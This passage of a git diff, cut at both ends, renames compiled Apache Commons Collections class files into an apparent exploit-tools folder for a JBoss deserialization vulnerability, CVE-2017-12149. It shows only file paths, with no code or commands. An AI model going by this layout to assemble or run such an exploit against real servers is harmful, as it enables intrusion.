from jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/FixedOrderComparator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/FixedOrderComparator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/NullComparator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/NullComparator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/NullComparator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/NullComparator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ReverseComparator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ReverseComparator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ReverseComparator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ReverseComparator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/TransformingComparator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/TransformingComparator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/TransformingComparator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/TransformingComparator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/comparators/package.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AllPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AllPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AllPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AllPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AndPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AndPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AndPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AndPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AnyPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AnyPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AnyPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/AnyPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedClosure.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedClosure.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedClosure.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedClosure.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/CloneTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/CloneTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/CloneTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/CloneTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ClosureTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ClosureTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ClosureTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ClosureTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantFactory.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantFactory.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantFactory.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantFactory.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/EqualPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/EqualPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/EqualPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/EqualPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionClosure.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionClosure.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionClosure.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionClosure.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionFactory.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionFactory.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionFactory.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionFactory.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FactoryTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FactoryTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FactoryTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FactoryTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FalsePredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FalsePredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FalsePredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FalsePredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ForClosure.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ForClosure.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ForClosure.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/ForClosure.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FunctorUtils.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FunctorUtils.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FunctorUtils.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/FunctorUtils.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/IdentityPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/IdentityPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/IdentityPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/IdentityPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/IfClosure.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/IfClosure.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/IfClosure.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/IfClosure.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstanceofPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstanceofPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstanceofPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstanceofPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateFactory.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateFactory.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateFactory.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateFactory.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InvokerTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InvokerTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InvokerTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/InvokerTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/MapTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/MapTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/MapTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/MapTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPClosure.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPClosure.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPClosure.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPClosure.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NonePredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NonePredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NonePredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NonePredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotNullPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotNullPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotNullPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotNullPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsExceptionPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsExceptionPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsExceptionPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsExceptionPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsFalsePredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsFalsePredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsFalsePredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsFalsePredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsTruePredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsTruePredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsTruePredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsTruePredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/OnePredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/OnePredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/OnePredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/OnePredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/OrPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/OrPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/OrPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/OrPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeCloneFactory.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeCloneFactory.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeCloneFactory.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeCloneFactory.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeSerializationFactory.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeSerializationFactory.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeSerializationFactory.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeSerializationFactory.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/StringValueTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/StringValueTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/StringValueTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/StringValueTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchClosure.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchClosure.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchClosure.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchClosure.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchTransformer.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchTransformer.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchTransformer.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchTransformer.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformedPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformedPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformedPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformedPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerClosure.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerClosure.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerClosure.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerClosure.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerPredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerPredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerPredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerPredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TruePredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TruePredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TruePredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/TruePredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/UniquePredicate.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/UniquePredicate.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/UniquePredicate.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/UniquePredicate.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/WhileClosure.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/WhileClosure.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/WhileClosure.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/WhileClosure.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/functors/package.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractEmptyIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractEmptyIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractEmptyIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractEmptyIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractIteratorDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractIteratorDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractIteratorDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractIteratorDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/CollatingIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/CollatingIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/CollatingIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/CollatingIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyMapIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyMapIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyMapIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyMapIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EntrySetMapIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EntrySetMapIterator.class similarity index 100% rename from 